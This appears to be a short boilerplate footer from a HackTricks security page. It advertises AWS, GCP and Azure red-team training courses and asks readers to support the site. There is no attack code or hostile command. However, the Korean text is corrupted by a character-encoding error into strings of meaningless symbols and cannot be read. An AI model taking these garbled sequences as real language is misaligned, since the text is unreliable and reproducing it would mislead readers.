AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°